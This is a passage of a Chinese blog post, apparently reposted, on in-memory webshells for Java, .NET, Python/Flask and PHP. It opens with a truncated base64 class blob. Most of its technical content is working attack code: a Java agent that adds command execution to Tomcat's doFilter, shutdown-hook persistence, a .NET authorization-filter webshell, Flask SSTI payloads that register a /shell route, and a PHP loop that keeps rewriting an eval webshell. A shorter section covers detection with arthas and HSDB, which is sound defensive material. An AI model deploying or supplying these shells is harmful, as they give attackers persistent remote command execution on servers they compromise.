vT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIKAAkAGQoAJQB0DADKAB0HAH4BAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgoAKwDQAQAJZ2V0UGFyZW50DAChAHwBAAZkZWxldGUKAE8AdwEABCgpW0MBAAdyZXBsYWNlCgCtAHoMACcASwEAA3NldAEADVN0YWNrTWFwVGFibGUBAARDb2RlCgACAH0KAC4AXgwAFQA/DAA9AEoKACUA0QcAVQEAD2phdmEvbGFuZy9DbGFzcwwAPQBaCgAlAMMMAEkAOgwAlwCUCgBPAHAMAGcAjgwAgQBBAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAPQBTAQACW0MBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UMAFAAgAwAsQB/CgByAJYBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CgACAHkMANkAgAEACXN1YnN0cmluZwwAxgBFBwClAQAGZXhpc3RzDABkAFIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAFihDQylMamF2YS9sYW5nL1N0cmluZzsKAC4AkgwAWwAdCgACAMwMAGIAHQEADGphdmEvaW8vRmlsZQEAFShMamF2YS9sYW5nL09iamVjdDspWgwARwBCDACgANoBAANhZGQKAE8AIgEAECgpTGphdmEvbmV0L1VSTDsHADwBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBABBqYXZhL2xhbmcvU3RyaW5nAQANZ2V0U3VwZXJjbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsHANsBAAtnZXRQcm9wZXJ0eQEAC25ld0luc3RhbmNlAQABYQEAB3ZhbHVlT2YMACgAUgEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uBwDHAQATW0xqYXZhL2xhbmcvU3RyaW5nOwwAtADSCgDeALMBABUoSSlMamF2YS9sYW5nL09iamVjdDsMACkAuwoA1wAZBwAtAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAE2phdmEvdXRpbC9BcnJheUxpc3QBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEACHRvU3RyaW5nBwDUDAA4AEMBAA1zZXRBY2Nlc3NpYmxlDAAkAK4MAIgAhQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC3RvQ2hhckFycmF5AQADZ2V0DAC5AI0BABFMamF2YS9sYW5nL0NsYXNzOwoAAgC2CgAlAKQMAKMAVgEADWdldFBhcmVudEZpbGUKAAkAyQEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkDAC/AC8MAD0AxAEAIyhMamF2YS9pby9GaWxlO0xqYXZhL2xhbmcvU3RyaW5nOylWAQADKClWAQAQZ2V0RGVjbGFyZWRGaWVsZAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgoA3gCJDAAjAJsBABRnZXRTeXN0ZW1DbGFzc0xvYWRlcgoALgC1DAAMAD8BAAV0b1VSTAEAClNvdXJjZUZpbGUKACUAjAwAMgB7DAAfAFIBAAQoWilWBwCnAQAUamF2YS9pby9TZXJpYWxpemFibGUMAIsAUgEACDxjbGluaXQ+BwANCgDeAIIBAAlnZXRNZXRob2QBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADGphdmEvbmV0L1VSSQEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgoABgC6BwBzBwDgAQAPT3ZlcmJyaWxsaWFudGx5ACEA3wDXAAAAAgAJAKIAHgAAAAkADwAeAAAAAgABAD0AxQABAGwAAAARAAEAAQAAAAUqtwCssQAAAAAACADWAMUAAQBsAAAL7QAIADAAAAa4ECu9AAI6BgM2BBIBWU62AJE2BRAYPQI8hAEBLRtZHGC2ALwCpwBgGQZfFQSEBAFfUxscYFk8FQWiAAwtG7YAFj2n/9cSA1lOtgCRNgUQFT0CPIQBAS0bWRxgtgC8A6cAJhkGXxUEhAQBX1M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";

首先将这串base64串转换成class文件,然后根据类名,在IDEA中粘成一个新的java文件,更改java文件中的报错(有一行return报错),分析一下代码结构,由于采用的是Java label跳出循环的方式,那么此处改为break label174。这样java文件不再报错,可以正常执行。

具体看一下样本,laabel169代表的循环,将截取后的字符串转成数组,将数组的每一位和长度为7的key进行异或。var72是异或后得到的字符串。即将截取的*"H"6)/Yk0$'vwSm44-$&转换成java.util.Base64$Decoder。关于异或加密XOR的内容可以看:http://www.ruanyifeng.com/blog/2017/05/xor.html

switch会判断字符串是否完成全部的遍历,如果完成全部的遍历,开始Filter的反射加载流程。

Java内存马自动化生成工具可以用:https://github.com/pen4uin/java-memshell-generator

Agent内存马

Java Agent 是一种在 JVM 启动时或运行时动态加载的工具,允许开发者在不修改源代码的情况下,对 Java 应用程序的字节码进行操作。Java Agent 通常在应用启动时通过命令行参数指定,或在运行时动态加载。Java Agent的核心是Instrumentation,它是Java提供的接口(从Java SE 5开始引入),允许代理程序(Agent)在类加载时或运行时修改、监控、或者增强字节码。

java.lang.instrument包结构如下

java.lang.instrument- ClassDefinition- ClassFileTransformer- IllegalClassFormatException- Instrumentation- UnmodifiableClassException

Agent 加载方式
Agent的加载可以是在JVM启动的时候,也可以是运行的时候。两种方法入口函数不同。

// 启动时加载
public static void premain(String agentArgs, Instrumentation inst);
public static void premain(String agentArgs);
// 运行时加载
public static void agentmain(String agentArgs, Instrumentation inst);
public static void agentmain(String agentArgs);

无论是这两种哪个Agent,都需要打成一个jar包,在ManiFest属性中指定Premain-Class或者Agent-Class。打成jar包后需要挂在到目标JVM上,如果是启动时加载就是-javaagent:[=],如果是运行时挂载,就需要做一些额外的开发。

Instrumentation 则通过 premainagentmain方法将要修改的字节码传递给代理程序Agent。

既然可以动态的修改某一个类的代码,那么对于Tomcat这些中间件应该改什么类呢?网上流传的是internalDoFilter,但是它是tomcat中的类,只适用于tomcat。后来冰蝎内置的内存马是写在了HttpServlet的service方法中,由于是JavaEE规范,相对来讲,能适用于更多的中间件。对应的Agent代码如下

import java.lang.instrument.*;
import javassist.*;
import java.io.IOException;
import java.security.ProtectionDomain;public class MyAgent implements ClassFileTransformer {public static String ClassName = "org.apache.catalina.core.ApplicationFilterChain";// 字节码转换逻辑实现@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> aClass, ProtectionDomain protectionDomain, byte[] classfileBuffer) {// 将className格式化为标准格式className = className.replace('/', '.');if (className.equals(ClassName)) {ClassPool cp = ClassPool.getDefault();if (aClass != null) {ClassClassPath classPath = new ClassClassPath(aClass);cp.insertClassPath(classPath);}try {// 获取Class对象并对其修改CtClass cc = cp.get(className);CtMethod m = cc.getDeclaredMethod("doFilter");// 在 doFilter 方法的前面插入自定义代码m.insertBefore("javax.servlet.ServletRequest req = request;\n" +"javax.servlet.ServletResponse res = response;" +"String cmd = req.getParameter(\"cmd\");\n" +"if (cmd != null) {\n" +"Process process = Runtime.getRuntime().exec(cmd);\n" +"java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +"new java.io.InputStreamReader(process.getInputStream()));\n" +"StringBuilder stringBuilder = new StringBuilder();\n" +"String line;\n" +"while ((line = bufferedReader.readLine()) != null) {\n" +"stringBuilder.append(line + '\\n');\n" +"}\n" +"res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +"res.getOutputStream().flush();\n" +"res.getOutputStream().close();\n}");byte[] byteCode = cc.toBytecode();cc.detach();return byteCode;} catch (IOException | CannotCompileException | NotFoundException e) {e.printStackTrace();}}return new byte[0];}// JVM 启动时调用的 premain 方法public static void premain(String args, Instrumentation inst) throws Exception {System.out.println("Java Agent premain is running...");inst.addTransformer(new MyAgent(), true);}// 动态加载时调用的 agentmain 方法public static void agentmain(String args, Instrumentation inst) throws Exception {System.out.println("Java Agent agentmain is running...");inst.addTransformer(new MyAgent(), true);// 获取所有已加载的类Class[] loadedClasses = inst.getAllLoadedClasses();for (Class clazz : loadedClasses) {// 如果目标类已经加载,重新转换它if (clazz.getName().equals(ClassName)) {try {inst.retransformClasses(clazz);} catch (Exception e) {e.printStackTrace();}}}}
}

然后将这个Agent打包成jar文件。然后Attach操作,挂载到目标JVM上,执行加载Agent。具体的代码看:GitHub - ax1sX/MemShell: MemShell List

这里要对Agent内存马持久化补充一点。ShutdownHook也叫钩子函数,它允许开发人员插入JVM关闭时执行的一段代码。示例如下:

public class Hook {public static void main(String[] args) throws Exception{Runtime.getRuntime().addShutdownHook(new Thread() {@Overridepublic void run() {System.out.println("hook");}});System.out.println("public main over");}
}

main方法执行结束后会执行hook,所以rebeyond利用这种方式在服务器运行结束后,将inject.jaragent.jar写到磁盘上,然后调用startInject方法执行java -jar inject.jar,来解决一般内存马在服务器重启后不存在的情况,但是实战中一般要求木马可清楚,这种方式慎用。

 public static void persist() {try {Thread t = new Thread() {public void run() {try {writeFiles("inject.jar",Agent.injectFileBytes);writeFiles("agent.jar",Agent.agentFileBytes);startInject();} catch (Exception e) {}}};t.setName("shutdown Thread");Runtime.getRuntime().addShutdownHook(t);} catch (Throwable t) {}

Agent内存马查杀

很多防守方都问过一个问题,如何找到内存马?内存马存在于内存中,那么就需要从JVM中查找相应的Class。有两种常用的方式

(1)arthas
arthas是阿里开发的开源工具,链接:GitHub - alibaba/arthas: Alibaba Java Diagnostic Tool Arthas/Alibaba Java诊断利器Arthas
使用的话直接下载arthas-boot.jar即可:https://arthas.aliyun.com/arthas-boot.jar
可以在JDK6以上运行,主要功能包括:检查一个类是否被加载,或者类被加载到哪里(对于解决 jar 文件冲突很有用)、反编译一个类以确保代码按预期运行等。这两个功能对于内存马的查找很有意义。比如上述Agent内存马的注入选取了org.apache.catalina.core.ApplicationFilterChain类,那么可以通过arthas直接查看这个类的反编译结果是否包含恶意代码

arthas使用如下

java -jar arthas-boot.jar

启动工具后,根据显示出的线程,选取对应要查看的。

然后输入要查看的类名

[arthas@4035]$ sc org.apache.catalina.core.ApplicationFilterChain
[arthas@4035]$ jad org.apache.catalina.core.ApplicationFilterChain

输入sc ${需要检索的类名}查看相关的类名,输入jad ${包名},反编译class源码,可以看到此时的doFilter包含了恶意代码

如果想要下载Class文件,命令如下,然后jd-gui打开即可。

[arthas@4035]$ dump org.apache.catalina.core.ApplicationFilterChain

(2)HSDB(sa-jdi.jar)
HSDB(Hotspot Debugger),是一款内置于sa-jdi.jar中的 GUI 调试工具,可用于调试 JVM 运行时数据,从而进行故障排除。以下三种开启方式都可以。

sudo /Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/bin/java -cp /Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/lib/sa-jdi.jar sun.jvm.hotspot.HSDB
sudo java -cp ,:/Library/Java/JavaVirtualMachines/jdk1.8.0_261.jdk/Contents/Home/lib/sa-jdi.jar sun.jvm.hotspot.HSDB
sudo java -cp $JAVA_HOME/lib/sa-jdi.jar sun.jvm.hotspot.HSDB
选择file->Attach to Hotspot process ,然后输入process ID去Attach进程。但是Mac环境下可能出现Attach不成功的情况。

.NET内存马

.NET MVC内存马

.net处理请求与Java很类似,最早用aspx也看来处理请求(类似java中的jsp),后来发展到MVC开发框架,用Controller处理请求。创建一个ASP.NET Web Application。会发现程序默认注册了一个全局的Filter。关于.net Filter可以查看官方文档:Filters in ASP.NET Core | Microsoft Learn

官方文档中提到,最先执行的是Authorization filters。那么为了保证内存马的优先级,可以制作实现IAuthorizationFilter接口的Filter。该接口只有一个方法OnAuthorization。

<%@ Page Language="c#"%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Web.Mvc" %>
<script runat="server">public class MyAuthFilter : IAuthorizationFilter{public void OnAuthorization(AuthorizationContext filterContext){String cmd = filterContext.HttpContext.Request.QueryString["cmd"];if (cmd != null){HttpResponseBase response = filterContext.HttpContext.Response;Process p = new Process();p.StartInfo.FileName = cmd;p.StartInfo.UseShellExecute = false;p.StartInfo.RedirectStandardOutput = true;p.StartInfo.RedirectStandardError = true;p.Start();byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());response.Write(System.Text.Encoding.Default.GetString(data));}Console.WriteLine("auth filter inject");}}
</script>
<%GlobalFilterCollection globalFilterCollection = GlobalFilters.Filters;globalFilterCollection.Add(new MyAuthFilter(), -2);
%>

在添加Filter时,设置了参数-2。这个参数代表order。默认的filter order是-1,order数值越小,优先级越高。所以为了提高内存马在系统中的优先级,这里设置-2。

除了MVC内存马,.net常见内存马还包含:HttpListener内存马、VirtualPath内存马、Route内存马

java web三大组件,servlet、filter、listener。在.net中也有一个listener被应用—HttpListener,微软官方对它的介绍:可以用这个类创建一个简单的HTTP协议侦听器来响应 HTTP 请求。其他的也可以看yzddmr6的博客,里面对.net的几个内存马有详细的介绍:

https://yzddmr6.com/posts/asp-net-memory-shell-httplistener/

Python内存马

现在网上常见的Python内存马都是针对Flask框架的。Flask框架下的SSTI漏洞demo如下

from flask import Flask, request, render_template_stringapp = Flask(__name__)@app.route('/')
def hello():person = 'axisx'if request.args.get('name'):person = request.args.get('name')template = '<h1>Hi, %s.</h1>' % personreturn render_template_string(template)if __name__ == '__main__':app.run()

Flask默认采用Jinja2作为模版引擎。而Jinja2会把一些传入的参数当作代码执行。常见的payload都用到了python的内置类属性。这是Python实现反射和动态编程的接口,允许在运行时检查和修改对象。常见的内置类属性如下

['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__']

内置类属性本身实现了反射的特性,也就是可以调用各个类中的方法。那么就需要找到python内置的一些能够实现文件读写的方法。常见的构造如下。例如用os的popen类

{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

反射先要获取到相应的类,这里"".__class__.__bases__通过自带的str类来获取基类Object类。然后获取Object类所有的子类列表,即python的内置类。再通过索引位置(很多文章中写的128,但是需要实际根据主机情况去更改这个索引号)获取相应的类。.__init__获取构造函数,.__globals__获取函数所在的全局命名空间(包含了类中的变量和方法)。能获取的类和方法很多,还有各种绕过沙盒限制的方式,这里就不再多说。Ps:__builtins__可以查找所有内置函数的名称。

回到内存马,核心是要向一个可访问的路由下写入一段恶意代码。此时我们已经实现了在Flask SSTi模版场景下实现恶意代码的构造,但是这个代码并没有实现持久化,需要伴随着每次SSTI的访问来攻击。例如在当前的py文件下插入如下恶意代码

@app.route('/e')
def e():os.system(request.args.get('cmd'))

flask有两种方式来生成路由,一种是@app.route(),一种是url_for()

@app.route实际调用的方法是add_url_rule()。另外需要说明,添加路由的方式不止这一种,常见的还包括:url_map.add()等

flask视图生成函数url_for,demo如下

@app.route('/url')
def url():# return redirect(url_for('url_f')) # 返回url_for success!return url_for('url_f') # 返回/u@app.route('/u')
def url_f():return 'url_for success!'

这个url_for函数中有个全局变量current_app。这个全局变量的获取方法是:{{url_for.__globals__['current_app'].__dict__}} 

利用url_for执行恶意poc

{{url_for.__globals__['__builtins__']['eval']("__import__('os').system('open -a Calculator')")}}
网上常见的内存马poc如下
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}
)}}

上面这个lambda转成python函数大概长这样:

def shell():# 获取 cmd 参数值,如果没有则默认为 'whoami'cmd = _request_ctx_stack.top.request.args.get('cmd', 'whoami')result = os.popen(cmd).read()return result

用flask版本3.0.1在执行网上的内存马时会报如下错误

AssertionError: The setup method 'add_url_rule' can no longer be called on the application. It has already handled its first request, any changes will not be applied consistently.

根据调用栈的报错位置,定位如下。由于_got_first_request为True所以报了错

利用{{url_for.__globals__[%27current_app%27].__dict__}}查看当前Flask应用实例(current_app)所有的属性和值,包括了注册的路由函数、应用配置等信息。可以看到_got_first_request确实为True

所以后续针对较新版本的flask有改这个属性值的方式,还有利用其他路由注册函数的,例如before_request、after_request等。

这些都是flask框架下的内存马,基于Tornado、Django框架的内存马可以参考:Python Web 内存马多框架植入技术详解 | 天工实验室

PHP内存马

PHP内存马常见的有两种,一种是不死马,另一种是Fastcgi马。前者写一个死循环占据一个PHP进程,不间断的写入PHPShell。

不死马如下。PHP在执行脚本时会先将整个文件加载到内存,所以代码中在循环前执行了unlink(__FILE__)删除了文件。但循环会继续执行,不断在服务器上创建或覆盖一个config.php文件,并向其中写入恶意代码。

<?phpset_time_limit(0);ignore_user_abort(1);unlink(__FILE__);while (1) {$content = '<?php @eval($_POST["cmd"]) ?>';file_put_contents("config.php", $content);usleep(10000);}
?>

Fastcgi的基础知识如下。PHP请求处理的大致流程:

http请求 -> 服务器 -> nginx/apache -> 静态资源/动态资源 -> 动态资源用fastcgi协议 -> php-fpm处理请求

每当用户请求PHP页面时,Web服务器会启动一个单独的PHP CGI进程来处理这个请求,处理完成后进程关闭。这与将PHP作为Web服务器模块(如Apache中的mod_php)直接集成的模式不同。CGI(Common Gateway Interface,公共网关接口)是一种与语言无关的协议,可以在不同的服务器和操作系统之间提供兼容性,规范了传递给后方的数据格式。使用PHP CGI模式可以将PHP进程与Web服务器进程隔离。这些PHP进程由进程管理器(如php-fpm)来管理,它可以控制PHP进程的数量和资源分配。PHP CGI还支持FastCGI协议,这是CGI的增强版,提供了对PHP进程复用的支持。

FastCGI的特性之一就是可以通过环境变量将参数传递给PHP进程。但是如果利用环境变量修改了PHP配置选析那个,从而更改PHP的安全设置或者执行恶意的代码。

具体的FastCGI马方式参考:https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/php-fpm-memory-shell.md

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/463723.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【网络】套接字编程——TCP通信

> 作者&#xff1a;დ旧言~ > 座右铭&#xff1a;松树千年终是朽&#xff0c;槿花一日自为荣。 > 目标&#xff1a;TCP网络服务器简单模拟实现。 > 毒鸡汤&#xff1a;有些事情&#xff0c;总是不明白&#xff0c;所以我不会坚持。早安! > 专栏选自&#xff1a;…

CytoSPACE·空转和单细胞数据的高分辨率比对

1. 准备输入文件&#xff0c;需要四个文件&#xff0c;所有文件都应以制表符分隔的表格输入格式 (.txt) 提供。 a. scRNA-seq 基因表达文件 矩阵必须是基因&#xff08;行&#xff09;乘以细胞&#xff08;列&#xff09;。 第一行必须包含单个细胞 ID&#xff0c;第一列必须…

模型 定位地图

系列文章 分享 模型&#xff0c;了解更多&#x1f449; 模型_思维模型目录。心智导航现实的空间图。 1 定位地图模型的应用 1.1 小玉的职业定位与发展规划 小玉&#xff0c;24岁&#xff0c;市场营销专业本科毕业生&#xff0c;有半年汽车销售实习经历。毕业后&#xff0c;她…

规划误差降低27%,碰撞率降低33%Senna: 大规模视觉-语言模型与端到端自动驾驶相结合

Abstract 端到端自动驾驶在大规模数据中展示了强大的规划能力&#xff0c;但在复杂、罕见的场景中仍然因常识有限而表现不佳。相比之下&#xff0c;大型视觉语言模型&#xff08;LVLMs&#xff09;在场景理解和推理方面表现出色。前进的方向在于融合两者的优势。以往利用LVLMs…

深入浅出 | 谈谈MNN GPU性能优化策略

MNN(Mobile Neural Network)是一个高性能、通用的深度学习框架&#xff0c;支持在移动端、PC端、服务端、嵌入式等各种设备上高效运行。MNN利用设备的GPU能力&#xff0c;全面充分“榨干”设备的GPU资源&#xff0c;来进行深度学习的高性能部署与训练。 概述 MNN自开源以来&a…

UE 引入 IOS framework库的坑

一、我明明已经把framework库进行签名的却在 上传到开发者后台时一直报错 90034 签章遗失 或者 未签 这个问题我最近遇到 极其坑爹 我是这个情况 这是我的framework库的目录 关键就在这了 多出了这个文件 就影响了 上传到开发者后台 就报错 90034 将其删除就好 &…

Rust 力扣 - 3090. 每个字符最多出现两次的最长子字符串

文章目录 题目描述题解思路题解代码题目链接 题目描述 题解思路 本题使用滑动窗口进行求解&#xff0c;使用左指针和右指针分别表示窗口的左边界和窗口的右边界&#xff0c;使用哈希表记录窗口内的字符及其对应数量 我们首先向右移动右指针&#xff0c;将字符加入到哈希表中进…

Spring Boot框架下的信息学科平台系统开发实战

摘要 随着信息技术在管理上越来越深入而广泛的应用&#xff0c;管理信息系统的实施在技术上已逐步成熟。本文介绍了基于保密信息学科平台系统的开发全过程。通过分析基于保密信息学科平台系统管理的不足&#xff0c;创建了一个计算机管理基于保密信息学科平台系统的方案。文章介…

利用EasyExcel实现简易Excel导出

目标 通过注解形式完成对一个方法返回值的通用导出功能 工程搭建 pom <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance&qu…

练习LabVIEW第三十二题

学习目标&#xff1a; 刚学了LabVIEW&#xff0c;在网上找了些题&#xff0c;练习一下LabVIEW&#xff0c;有不对不好不足的地方欢迎指正&#xff01; 第三十二题&#xff1a; 利用labview elapsed time(已用时间)定时设计输出一个方波 开始编写&#xff1a; 前面板放置一…

桑基图在医学数据分析中的更复杂应用示例

桑基图&#xff08;Sankey Diagram&#xff09;能够有效地展示复杂的流动关系&#xff0c;特别适合用于医学数据分析中的多种转归和治疗路径的可视化。接下来&#xff0c;我们将构建一个稍微复杂的示例&#xff0c;展示不同疾病患者在治疗过程中的流动&#xff0c;以及他们的治…

